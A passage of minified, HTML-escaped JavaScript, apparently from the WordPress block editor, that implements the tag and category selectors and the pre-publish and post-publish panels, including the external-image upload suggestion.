o=Ld(s);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__flat-term-most-used&quot;,children:[(0,c.jsx)(Hn.BaseControl.VisualLabel,{as:&quot;h3&quot;,className:&quot;editor-post-taxonomies__flat-term-most-used-label&quot;,children:t.labels.most_used}),(0,c.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;editor-post-taxonomies__flat-term-most-used-list&quot;,children:o.map((t=&gt;(0,c.jsx)(&quot;li&quot;,{children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;e(t),children:t.name})},t.id)))})]})}const _m=[],fm=100,bm={per_page:fm,_fields:&quot;id,name&quot;,context:&quot;view&quot;},ym=(e,t)=&gt;Ad(e).toLowerCase()===Ad(t).toLowerCase(),xm=(e,t)=&gt;e.map((e=&gt;t.find((t=&gt;ym(t.name,e)))?.id)).filter((e=&gt;void 0!==e)),vm=({children:e,__nextHasNoMarginBottom:t})=&gt;t?(0,c.jsx)(Hn.__experimentalVStack,{spacing:4,children:e}):(0,c.jsx)(p.Fragment,{children:e});function wm({slug:e,__nextHasNoMarginBottom:t}){const[s,n]=(0,p.useState)([]),[o,r]=(0,p.useState)(&quot;&quot;),i=(0,m.useDebounce)(r,500);t||k()(&quot;Bottom margin styles for wp.editor.PostTaxonomiesFlatTermSelector&quot;,{since:&quot;6.7&quot;,version:&quot;7.0&quot;,hint:&quot;Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version.&quot;});const{terms:a,termIds:l,taxonomy:h,hasAssignAction:g,hasCreateAction:_,hasResolvedTerms:f}=(0,d.useSelect)((t=&gt;{const{getCurrentPost:s,getEditedPostAttribute:n}=t(vc),{getEntityRecords:o,getEntityRecord:r,hasFinishedResolution:i}=t(u.store),a=s(),l=r(&quot;root&quot;,&quot;taxonomy&quot;,e),c=l?n(l.rest_base):_m,d={...bm,include:c?.join(&quot;,&quot;),per_page:-1};return{hasCreateAction:!!l&amp;&amp;(a._links?.[&quot;wp:action-create-&quot;+l.rest_base]??!1),hasAssignAction:!!l&amp;&amp;(a._links?.[&quot;wp:action-assign-&quot;+l.rest_base]??!1),taxonomy:l,termIds:c,terms:c?.length?o(&quot;taxonomy&quot;,e,d):_m,hasResolvedTerms:i(&quot;getEntityRecords&quot;,[&quot;taxonomy&quot;,e,d])}}),[e]),{searchResults:b}=(0,d.useSelect)((t=&gt;{const{getEntityRecords:s}=t(u.store);return{searchResults:o?s(&quot;taxonomy&quot;,e,{...bm,search:o}):_m}}),[o,e]);(0,p.useEffect)((()=&gt;{if(f){const e=(a??[]).map((e=&gt;Ad(e.name)));n(e)}}),[a,f]);const y=(0,p.useMemo)((()=&gt;(b??[]).map((e=&gt;Ad(e.name)))),[b]),{editPost:x}=(0,d.useDispatch)(vc),{saveEntityRecord:v}=(0,d.useDispatch)(u.store),{createErrorNotice:w}=(0,d.useDispatch)(_s.store);if(!g)return null;function S(e){x({[h.rest_base]:e})}const C=h?.labels?.add_new_item??(&quot;post_tag&quot;===e?(0,fs.__)(&quot;Add Tag&quot;):(0,fs.__)(&quot;Add Term&quot;)),P=h?.labels?.singular_name??(&quot;post_tag&quot;===e?(0,fs.__)(&quot;Tag&quot;):(0,fs.__)(&quot;Term&quot;)),j=(0,fs.sprintf)((0,fs._x)(&quot;%s added&quot;,&quot;term&quot;),P),E=(0,fs.sprintf)((0,fs._x)(&quot;%s removed&quot;,&quot;term&quot;),P),T=(0,fs.sprintf)((0,fs._x)(&quot;Remove %s&quot;,&quot;term&quot;),P);return(0,c.jsxs)(vm,{__nextHasNoMarginBottom:t,children:[(0,c.jsx)(Hn.FormTokenField,{__next40pxDefaultSize:!0,value:s,suggestions:y,onChange:function(t){const s=[...a??[],...b??[]],o=t.reduce(((e,t)=&gt;(e.some((e=&gt;e.toLowerCase()===t.toLowerCase()))||e.push(t),e)),[]),r=o.filter((e=&gt;!s.find((t=&gt;ym(t.name,e)))));n(o),0!==r.length?_&amp;&amp;Promise.all(r.map((t=&gt;async function(t){try{const s=await v(&quot;taxonomy&quot;,e,t,{throwOnError:!0});return Md(s)}catch(e){if(&quot;term_exists&quot;!==e.code)throw e;return{id:e.data.term_id,name:t.name}}}({name:t})))).then((e=&gt;{const t=s.concat(e);S(xm(o,t))})).catch((e=&gt;{w(e.message,{type:&quot;snackbar&quot;}),S(xm(o,s))})):S(xm(o,s))},onInputChange:i,maxSuggestions:fm,label:C,messages:{added:j,removed:E,remove:T},__nextHasNoMarginBottom:t}),(0,c.jsx)(gm,{taxonomy:h,onSelect:function(t){if(l.includes(t.id))return;const s=[...l,t.id],n=&quot;post_tag&quot;===e?(0,fs.__)(&quot;Tag&quot;):(0,fs.__)(&quot;Term&quot;),o=(0,fs.sprintf)((0,fs._x)(&quot;%s added&quot;,&quot;term&quot;),h?.labels?.singular_name??n);(0,ms.speak)(o,&quot;assertive&quot;),S(s)}})]})}var Sm=(0,Hn.withFilters)(&quot;editor.PostTaxonomyType&quot;)(wm);const km=()=&gt;{const e=(0,d.useSelect)((e=&gt;{const t=e(u.store).getTaxonomy(&quot;post_tag&quot;);return t?.labels}),[]),t=e?.add_new_item??(0,fs.__)(&quot;Add tag&quot;),s=e?.name??(0,fs.__)(&quot;Tags&quot;),n=[(0,fs.__)(&quot;Suggestion:&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:t},&quot;label&quot;)];return(0,c.jsxs)(Hn.PanelBody,{initialOpen:!1,title:n,children:[(0,c.jsx)(&quot;p&quot;,{children:(0,fs.sprintf)((0,fs.__)(&quot;%s help users and search engines navigate your site and find your content. Add a few keywords to describe your post.&quot;),s)}),(0,c.jsx)(Sm,{slug:&quot;post_tag&quot;,__nextHasNoMarginBottom:!0})]})};var Cm=()=&gt;{const{postHasTags:e,siteHasTags:t,isPostTypeSupported:s}=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPostType(),s=e(u.store).getEntityRecord(&quot;root&quot;,&quot;taxonomy&quot;,&quot;post_tag&quot;),n=s?.types?.includes(t),o=void 0!==s,r=s&amp;&amp;e(vc).getEditedPostAttribute(s.rest_base),i=!!n&amp;&amp;!!e(u.store).getEntityRecords(&quot;taxonomy&quot;,&quot;post_tag&quot;,{per_page:1})?.length;return{postHasTags:!!r?.length,siteHasTags:i,isPostTypeSupported:o&amp;&amp;n}}),[]),[n]=(0,p.useState)(e);return s&amp;&amp;t?n?null:(0,c.jsx)(km,{}):null};const Pm=(e,t)=&gt;Pp.filter((t=&gt;e?.includes(t.id))).find((e=&gt;e.id===t)),jm=({suggestedPostFormat:e,suggestionText:t,onUpdatePostFormat:s})=&gt;(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;s(e),children:t});function Em(){const{currentPostFormat:e,suggestion:t}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getSuggestedPostFormat:s}=e(vc),n=e(u.store).getThemeSupports().formats??[];return{currentPostFormat:t(&quot;format&quot;),suggestion:Pm(n,s())}}),[]),{editPost:s}=(0,d.useDispatch)(vc),n=[(0,fs.__)(&quot;Suggestion:&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,fs.__)(&quot;Use a post format&quot;)},&quot;label&quot;)];return t&amp;&amp;t.id!==e?(0,c.jsxs)(Hn.PanelBody,{initialOpen:!1,title:n,children:[(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Your theme uses post formats to highlight different kinds of content, like images or videos. Apply a post format to see this special styling.&quot;)}),(0,c.jsx)(&quot;p&quot;,{children:(0,c.jsx)(jm,{onUpdatePostFormat:e=&gt;s({format:e}),suggestedPostFormat:t.id,suggestionText:(0,fs.sprintf)((0,fs.__)(&#039;Apply the &quot;%1$s&quot; format.&#039;),t.caption)})})]}):null}const{normalizeTextString:Tm}=$(Hn.privateApis),{RECEIVE_INTERMEDIATE_RESULTS:Im}=$(u.privateApis),Bm={per_page:-1,orderby:&quot;name&quot;,order:&quot;asc&quot;,_fields:&quot;id,name,parent&quot;,context:&quot;view&quot;,[Im]:!0},Nm=8,Rm=[];function Dm({slug:e}){const[t,s]=(0,p.useState)(!1),[n,o]=(0,p.useState)(&quot;&quot;),[r,i]=(0,p.useState)(&quot;&quot;),[a,l]=(0,p.useState)(!1),[h,g]=(0,p.useState)(&quot;&quot;),[_,f]=(0,p.useState)([]),b=(0,m.useDebounce)(ms.speak,500),{hasCreateAction:y,hasAssignAction:x,terms:v,loading:w,availableTerms:S,taxonomy:k}=(0,d.useSelect)((t=&gt;{const{getCurrentPost:s,getEditedPostAttribute:n}=t(vc),{getEntityRecord:o,getEntityRecords:r,isResolving:i}=t(u.store),a=o(&quot;root&quot;,&quot;taxonomy&quot;,e),l=s();return{hasCreateAction:!!a&amp;&amp;!!l._links?.[&quot;wp:action-create-&quot;+a.rest_base],hasAssignAction:!!a&amp;&amp;!!l._links?.[&quot;wp:action-assign-&quot;+a.rest_base],terms:a?n(a.rest_base):Rm,loading:i(&quot;getEntityRecords&quot;,[&quot;taxonomy&quot;,e,Bm]),availableTerms:r(&quot;taxonomy&quot;,e,Bm)||Rm,taxonomy:a}}),[e]),{editPost:C}=(0,d.useDispatch)(vc),{saveEntityRecord:P}=(0,d.useDispatch)(u.store),j=(0,p.useMemo)((()=&gt;function(e,t){const s=e=&gt;-1!==t.indexOf(e.id)||void 0!==e.children&amp;&amp;e.children.map(s).filter((e=&gt;e)).length&gt;0,n=[...e];return n.sort(((e,t)=&gt;{const n=s(e),o=s(t);return n===o?0:n&amp;&amp;!o?-1:!n&amp;&amp;o?1:0})),n}(Dd(S),v)),[S]),{createErrorNotice:E}=(0,d.useDispatch)(_s.store);if(!x)return null;const T=e=&gt;{C({[k.rest_base]:e})},I=e=&gt;e.map((e=&gt;(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-choice&quot;,children:[(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,checked:-1!==v.indexOf(e.id),onChange:()=&gt;{(e=&gt;{const t=v.includes(e)?v.filter((t=&gt;t!==e)):[...v,e];T(t)})(parseInt(e.id,10))},label:(0,Ln.decodeEntities)(e.name)}),!!e.children.length&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-subchoices&quot;,children:I(e.children)})]},e.id))),B=(t,s,n)=&gt;k?.labels?.[t]??(&quot;category&quot;===e?s:n),N=B(&quot;add_new_item&quot;,(0,fs.__)(&quot;Add Category&quot;),(0,fs.__)(&quot;Add Term&quot;)),R=B(&quot;new_item_name&quot;,(0,fs.__)(&quot;Add Category&quot;),(0,fs.__)(&quot;Add Term&quot;)),D=B(&quot;parent_item&quot;,(0,fs.__)(&quot;Parent Category&quot;),(0,fs.__)(&quot;Parent Term&quot;)),A=`— ${D} —`,M=N,L=k?.labels?.search_items??(0,fs.__)(&quot;Search Terms&quot;),O=k?.name??(0,fs.__)(&quot;Terms&quot;),F=S.length&gt;=Nm;return(0,c.jsxs)(Hn.Flex,{direction:&quot;column&quot;,gap:&quot;4&quot;,children:[F&amp;&amp;!w&amp;&amp;(0,c.jsx)(Hn.SearchControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:L,placeholder:L,value:h,onChange:e=&gt;{const t=j.map(function(e){const t=s=&gt;{if(&quot;&quot;===e)return s;const n={...s};return n.children.length&gt;0&amp;&amp;(n.children=n.children.map(t).filter((e=&gt;e))),(-1!==Tm(n.name).indexOf(Tm(e))||n.children.length&gt;0)&amp;&amp;n};return t}(e)).filter((e=&gt;e)),s=e=&gt;{let t=0;for(let n=0;n&lt;e.length;n++)t++,void 0!==e[n].children&amp;&amp;(t+=s(e[n].children));return t};g(e),f(t);const n=s(t),o=(0,fs.sprintf)((0,fs._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,n),n);b(o,&quot;assertive&quot;)}}),w&amp;&amp;(0,c.jsx)(Hn.Flex,{justify:&quot;center&quot;,style:{height:&quot;40px&quot;},children:(0,c.jsx)(Hn.Spinner,{})}),(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-list&quot;,tabIndex:&quot;0&quot;,role:&quot;group&quot;,&quot;aria-label&quot;:O,children:I(&quot;&quot;!==h?_:j)}),!w&amp;&amp;y&amp;&amp;(0,c.jsx)(Hn.FlexItem,{children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,onClick:()=&gt;{l(!a)},className:&quot;editor-post-taxonomies__hierarchical-terms-add&quot;,&quot;aria-expanded&quot;:a,variant:&quot;link&quot;,children:N})}),a&amp;&amp;(0,c.jsx)(&quot;form&quot;,{onSubmit:async a=&gt;{if(a.preventDefault(),&quot;&quot;===n||t)return;const l=function(e,t,s){return e.find((e=&gt;(!e.parent&amp;&amp;!t||parseInt(e.parent)===parseInt(t))&amp;&amp;e.name.toLowerCase()===s.toLowerCase()))}(S,r,n);if(l)return v.some((e=&gt;e===l.id))||T([...v,l.id]),o(&quot;&quot;),void i(&quot;&quot;);let c;s(!0);try{c=await(d={name:n,parent:r||void 0},P(&quot;taxonomy&quot;,e,d,{throwOnError:!0}))}catch(e){return void E(e.message,{type:&quot;snackbar&quot;})}var d;const u=&quot;category&quot;===e?(0,fs.__)(&quot;Category&quot;):(0,fs.__)(&quot;Term&quot;),p=(0,fs.sprintf)((0,fs._x)(&quot;%s added&quot;,&quot;term&quot;),k?.labels?.singular_name??u);(0,ms.speak)(p,&quot;assertive&quot;),s(!1),o(&quot;&quot;),i(&quot;&quot;),T([...v,c.id])},children:(0,c.jsxs)(Hn.Flex,{direction:&quot;column&quot;,gap:&quot;4&quot;,children:[(0,c.jsx)(Hn.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:&quot;editor-post-taxonomies__hierarchical-terms-input&quot;,label:R,value:n,onChange:e=&gt;{o(e)},required:!0}),!!S.length&amp;&amp;(0,c.jsx)(Hn.TreeSelect,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:D,noOptionLabel:A,onChange:e=&gt;{i(e)},selectedId:r,tree:j}),(0,c.jsx)(Hn.FlexItem,{children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,type:&quot;submit&quot;,className:&quot;editor-post-taxonomies__hierarchical-terms-submit&quot;,children:M})})]})})]})}var Am=(0,Hn.withFilters)(&quot;editor.PostTaxonomyType&quot;)(Dm);var Mm=function(){const{hasNoCategory:e,hasSiteCategories:t}=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPostType(),{canUser:s,getEntityRecord:n}=e(u.store),o=n(&quot;root&quot;,&quot;taxonomy&quot;,&quot;category&quot;),r=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?n(&quot;root&quot;,&quot;site&quot;)?.default_category:void 0,i=r?n(&quot;taxonomy&quot;,&quot;category&quot;,r):void 0,a=o&amp;&amp;o.types.some((e=&gt;e===t)),l=o&amp;&amp;e(vc).getEditedPostAttribute(o.rest_base),c=!!a&amp;&amp;!!e(u.store).getEntityRecords(&quot;taxonomy&quot;,&quot;category&quot;,{exclude:[r],per_page:1})?.length;return{hasNoCategory:!!o&amp;&amp;!!i&amp;&amp;a&amp;&amp;(0===l?.length||1===l?.length&amp;&amp;i?.id===l[0]),hasSiteCategories:c}}),[]),[s,n]=(0,p.useState)(!1);if((0,p.useEffect)((()=&gt;{e&amp;&amp;n(!0)}),[e]),!s||!t)return null;const o=[(0,fs.__)(&quot;Suggestion:&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,fs.__)(&quot;Assign a category&quot;)},&quot;label&quot;)];return(0,c.jsxs)(Hn.PanelBody,{initialOpen:!1,title:o,children:[(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Categories provide a helpful way to group related posts together and to quickly tell readers what a post is about.&quot;)}),(0,c.jsx)(Am,{slug:&quot;category&quot;})]})};function Lm(e){return Object.fromEntries(Object.entries(function(e){const t=new Set;return Object.fromEntries(e.map((e=&gt;{const s=(0,w.getFilename)(e);let n=&quot;&quot;;if(s){const e=s.split(&quot;.&quot;);e.length&gt;1&amp;&amp;e.pop(),n=e.join(&quot;.&quot;)}return n||(n=fi()),t.has(n)&amp;&amp;(n=`${n}-${fi()}`),t.add(n),[e,n]})))}(e)).map((([e,t])=&gt;{const s=window.fetch(e.includes(&quot;?&quot;)?e:e+&quot;?&quot;).then((e=&gt;e.blob())).then((e=&gt;new File([e],`${t}.png`,{type:e.type})));return[e,s]})))}function Om(e){const t=[];return e.forEach((e=&gt;{t.push(e),t.push(...Om(e.innerBlocks))})),t}function Fm(e){if(&quot;core/image&quot;===e.name||&quot;core/cover&quot;===e.name){const{url:t,alt:s,id:n}=e.attributes;return{url:t,alt:s,id:n}}if(&quot;core/media-text&quot;===e.name){const{mediaUrl:t,mediaAlt:s,mediaId:n}=e.attributes;return{url:t,alt:s,id:n}}return{}}function Vm({clientId:e,alt:t,url:s}){const{selectBlock:n}=(0,d.useDispatch)(g.store);return(0,c.jsx)(Hn.__unstableMotion.img,{tabIndex:0,role:&quot;button&quot;,&quot;aria-label&quot;:(0,fs.__)(&quot;Select image block.&quot;),onClick:()=&gt;{n(e)},onKeyDown:t=&gt;{&quot;Enter&quot;!==t.key&amp;&amp;&quot; &quot;!==t.key||(n(e),t.preventDefault())},alt:t,src:s,animate:{opacity:1},exit:{opacity:0,scale:0},style:{width:&quot;32px&quot;,height:&quot;32px&quot;,objectFit:&quot;cover&quot;,borderRadius:&quot;2px&quot;,cursor:&quot;pointer&quot;},whileHover:{scale:1.08}},e)}function Um(){const[e,t]=(0,p.useState)(!1),[s,n]=(0,p.useState)(!1),[o,r]=(0,p.useState)(!1),{editorBlocks:i,mediaUpload:a}=(0,d.useSelect)((e=&gt;({editorBlocks:e(g.store).getBlocks(),mediaUpload:e(g.store).getSettings().mediaUpload})),[]),l=Om(i).filter((e=&gt;function(e){return&quot;core/image&quot;===e.name||&quot;core/cover&quot;===e.name?e.attributes.url&amp;&amp;!e.attributes.id:&quot;core/media-text&quot;===e.name?e.attributes.mediaUrl&amp;&amp;!e.attributes.mediaId:void 0}(e))),{updateBlockAttributes:u}=(0,d.useDispatch)(g.store);if(!a||!l.length)return null;const m=[(0,fs.__)(&quot;Suggestion:&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,fs.__)(&quot;External media&quot;)},&quot;label&quot;)];return(0,c.jsxs)(Hn.PanelBody,{initialOpen:!0,title:m,children:[(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Upload external images to the Media Library. Images from different domains may load slowly, display incorrectly, or be removed unexpectedly.&quot;)}),(0,c.jsxs)(&quot;div&quot;,{style:{display:&quot;inline-flex&quot;,flexWrap:&quot;wrap&quot;,gap:&quot;8px&quot;},children:[(0,c.jsx)(Hn.__unstableAnimatePresence,{onExitComplete:()=&gt;n(!1),children:l.map((e=&gt;{const{url:t,alt:s}=Fm(e);return(0,c.jsx)(Vm,{clientId:e.clientId,url:t,alt:s},e.clientId)}))}),e||s?(0,c.jsx)(Hn.Spinner,{}):(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,variant:&quot;primary&quot;,onClick:function(){t(!0),r(!1);const e=new Set(l.map((e=&gt;{const{url:t}=Fm(e);return t}))),s=Object.fromEntries(Object.entries(Lm([...e])).map((([e,t])=&gt;[e,t.then((e=&gt;new Promise(((t,s)=&gt;{a({filesList:[e],onFileChange:([e])=&gt;{(0,Go.isBlobURL)(e.url)||t(e)},onError(){s()}})}))))])));Promise.allSettled(l.map((e=&gt;{const{url:t}=Fm(e);return s[t].then((t=&gt;function(e,t){&quot;core/image&quot;!==e.name&amp;&amp;&quot;core/cover&quot;!==e.name||u(e.clientId,{id:t.id,url:t.url}),&quot;core/media-text&quot;===e.name&amp;&amp;u(e.clientId,{mediaId:t.id,mediaUrl:t.url})}(e,t))).then((()=&gt;n(!0))).catch((()=&gt;r(!0)))}))).finally((()=&gt;{t(!1)}))},children:(0,fs._x)(&quot;Upload&quot;,&quot;verb&quot;)})]}),o&amp;&amp;(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Upload failed, try again.&quot;)})]})}var Hm=function({children:e}){const{isBeingScheduled:t,isRequestingSiteIcon:s,hasPublishAction:n,siteIconUrl:o,siteTitle:r,siteHome:i}=(0,d.useSelect)((e=&gt;{const{getCurrentPost:t,isEditedPostBeingScheduled:s}=e(vc),{getEntityRecord:n,isResolving:o}=e(u.store),r=n(&quot;root&quot;,&quot;__unstableBase&quot;,void 0)||{};return{hasPublishAction:t()._links?.[&quot;wp:action-publish&quot;]??!1,isBeingScheduled:s(),isRequestingSiteIcon:o(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;__unstableBase&quot;,void 0]),siteIconUrl:r.site_icon_url,siteTitle:r.name,siteHome:r.home&amp;&amp;(0,w.filterURLForDisplay)(r.home)}}),[]);let a,l,p=(0,c.jsx)(Hn.Icon,{className:&quot;components-site-icon&quot;,size:&quot;36px&quot;,icon:Up});return o&amp;&amp;(p=(0,c.jsx)(&quot;img&quot;,{alt:(0,fs.__)(&quot;Site Icon&quot;),className:&quot;components-site-icon&quot;,src:o})),s&amp;&amp;(p=null),n?t?(a=(0,fs.__)(&quot;Are you ready to schedule?&quot;),l=(0,fs.__)(&quot;Your work will be published at the specified date and time.&quot;)):(a=(0,fs.__)(&quot;Are you ready to publish?&quot;),l=(0,fs.__)(&quot;Double-check your settings before publishing.&quot;)):(a=(0,fs.__)(&quot;Are you ready to submit for review?&quot;),l=(0,fs.__)(&quot;Your work will be reviewed and then approved.&quot;)),(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__prepublish&quot;,children:[(0,c.jsx)(&quot;div&quot;,{children:(0,c.jsx)(&quot;strong&quot;,{children:a})}),(0,c.jsx)(&quot;p&quot;,{children:l}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;components-site-card&quot;,children:[p,(0,c.jsxs)(&quot;div&quot;,{className:&quot;components-site-info&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;components-site-name&quot;,children:(0,Ln.decodeEntities)(r)||(0,fs.__)(&quot;(Untitled)&quot;)}),(0,c.jsx)(&quot;span&quot;,{className:&quot;components-site-home&quot;,children:i})]})]}),(0,c.jsx)(Um,{}),n&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.PanelBody,{initialOpen:!1,title:[(0,fs.__)(&quot;Visibility:&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,c.jsx)(Gp,{})},&quot;label&quot;)],children:(0,c.jsx)(zp,{})}),(0,c.jsx)(Hn.PanelBody,{initialOpen:!1,title:[(0,fs.__)(&quot;Publish:&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,c.jsx)(cm,{})},&quot;label&quot;)],children:(0,c.jsx)(am,{})})]}),(0,c.jsx)(Em,{}),(0,c.jsx)(Cm,{}),(0,c.jsx)(Mm,{}),e]})};const zm=&quot;%postname%&quot;,Gm=&quot;%pagename%&quot;;function $m({text:e}){const[t,s]=(0,p.useState)(!1),n=(0,p.useRef)(),o=(0,m.useCopyToClipboard)(e,(()=&gt;{s(!0),n.current&amp;&amp;clearTimeout(n.current),n.current=setTimeout((()=&gt;{s(!1)}),4e3)}));return(0,p.useEffect)((()=&gt;()=&gt;{n.current&amp;&amp;clearTimeout(n.current)}),[]),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,ref:o,children:t?(0,fs.__)(&quot;Copied!&quot;):(0,fs.__)(&quot;Copy&quot;)})}function Wm({focusOnMount:e,children:t}){const{post:s,postType:n,isScheduled:o}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPost:s,isCurrentPostScheduled:n}=e(vc),{getPostType:o}=e(u.store);return{post:s(),postType:o(t(&quot;type&quot;)),isScheduled:n()}}),[]),r=n?.labels?.singular_name,i=n?.labels?.view_item,a=n?.labels?.add_new_item,l=&quot;future&quot;===s.status?(e=&gt;{const{slug:t}=e;return e.permalink_template.includes(zm)?e.permalink_template.replace(zm,t):e.permalink_template.includes(Gm)?e.permalink_template.replace(Gm,t):e.permalink_template})(s):s.link,m=(0,w.addQueryArgs)(&quot;post-new.php&quot;,{post_type:s.type}),h=(0,p.useCallback)((t=&gt;{e&amp;&amp;t&amp;&amp;t.focus()}),[e]),g=o?(0,c.jsxs)(c.Fragment,{children:[(0,fs.__)(&quot;is now scheduled. It will go live on&quot;),&quot; &quot;,(0,c.jsx)(cm,{}),&quot;.&quot;]}):(0,fs.__)(&quot;is now live.&quot;);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish&quot;,children:[(0,c.jsxs)(Hn.PanelBody,{className:&quot;post-publish-panel__postpublish-header&quot;,children:[(0,c.jsx)(Hn.ExternalLink,{ref:h,href:l,children:(0,Ln.decodeEntities)(s.title)||(0,fs.__)(&quot;(no title)&quot;)}),&quot; &quot;,g]}),(0,c.jsxs)(Hn.PanelBody,{children:[(0,c.jsx)(&quot;p&quot;,{className:&quot;post-publish-panel__postpublish-subheader&quot;,children:(0,c.jsx)(&quot;strong&quot;,{children:(0,fs.__)(&quot;What’s next?&quot;)})}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-post-address-container&quot;,children:[(0,c.jsx)(Hn.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:&quot;post-publish-panel__postpublish-post-address&quot;,readOnly:!0,label:(0,fs.sprintf)((0,fs.__)(&quot;%s address&quot;),r),value:(0,w.safeDecodeURIComponent)(l),onFocus:e=&gt;e.target.select()}),(0,c.jsx)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-post-address__copy-button-wrap&quot;,children:(0,c.jsx)($m,{text:l})})]}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-buttons&quot;,children:[!o&amp;&amp;(0,c.jsxs)(Hn.Button,{variant:&quot;primary&quot;,href:l,__next40pxDefaultSize:!0,icon:Fn,iconPosition:&quot;right&quot;,target:&quot;_blank&quot;,children:[i,(0,c.jsx)(Hn.VisuallyHidden,{as:&quot;span&quot;,children:(0,fs.__)(&quot;(opens in a new tab)&quot;)})]}),(0,c.jsx)(Hn.Button,{variant:o?&quot;primary&quot;:&quot;secondary&quot;,__next40pxDefaultSize:!0,href:m,children:a})]})]}),t]})}class Zm extends p.Component{constructor(){super(...arguments),this.onSubmit=this.onSubmit.bind(this),this.cancelButtonNode=(0,p.createRef)()}componentDidMount(){this.timeoutID=setTimeout((()=&gt;{this.cancelButtonNode.current.focus()}),0)}componentWillUnmount(){clearTimeout(this.timeoutID)}componentDidUpdate(e){(e.isPublished&amp;&amp;!this.props.isSaving&amp;&amp;this.props.isDirty||this.props.currentPostId!==e.currentPostId)&amp;&amp;this.props.onClose()}onSubmit(){const{onClose:e,hasPublishAction:t,isPostTypeViewable:s}=this.props;t&amp;&amp;s||e()}render(){const{forceIsDirty:e,isBeingScheduled:t,isPublished:s,isPublishSidebarEnabled:n,isScheduled:o,isSaving:r,isSavingNonPostEntityChanges:i,onClose:a,onTogglePublishSidebar:l,PostPublishExtension:d,PrePublishExtension:u,currentPostId:p,...m}=this.props,{hasPublishAction:h,isDirty:g,isPostTypeViewable:_,...f}=m,b=s||o&amp;&amp;t,y=!b&amp;&amp;!r,x=b&amp;&amp;!r;return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel&quot;,...f,children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header&quot;,children:x?(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,onClick:a,icon:la,label:(0,fs.__)(&quot;Close panel&quot;)}):(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header-cancel-button&quot;,children:(0,c.jsx)(Hn.Button,{ref:this.cancelButtonNode,accessibleWhenDisabled:!0,disabled:i,onClick:a,variant:&quot;secondary&quot;,size:&quot;compact&quot;,children:(0,fs.__)(&quot;Cancel&quot;)})}),(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header-publish-button&quot;,children:(0,c.jsx)(Vp,{onSubmit:this.onSubmit,forceIsDirty:e})})]})}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__content&quot;,children:[y&amp;&amp;(0,c.jsx)(Hm,{children:u&amp;&amp;(0,c.jsx)(u,{})}),x&amp;&amp;(0,c.jsx)(Wm,{focusOnMount:!0,children:d&amp;&amp;(0,c.jsx)(d,{})}),r&amp;&amp;(0,c.jsx)(Hn.Spinner,{})]}),(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__footer&quot;,children:(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Always show pre-publish checks.&quot;),checked:n,onChange:l})})]})}}var 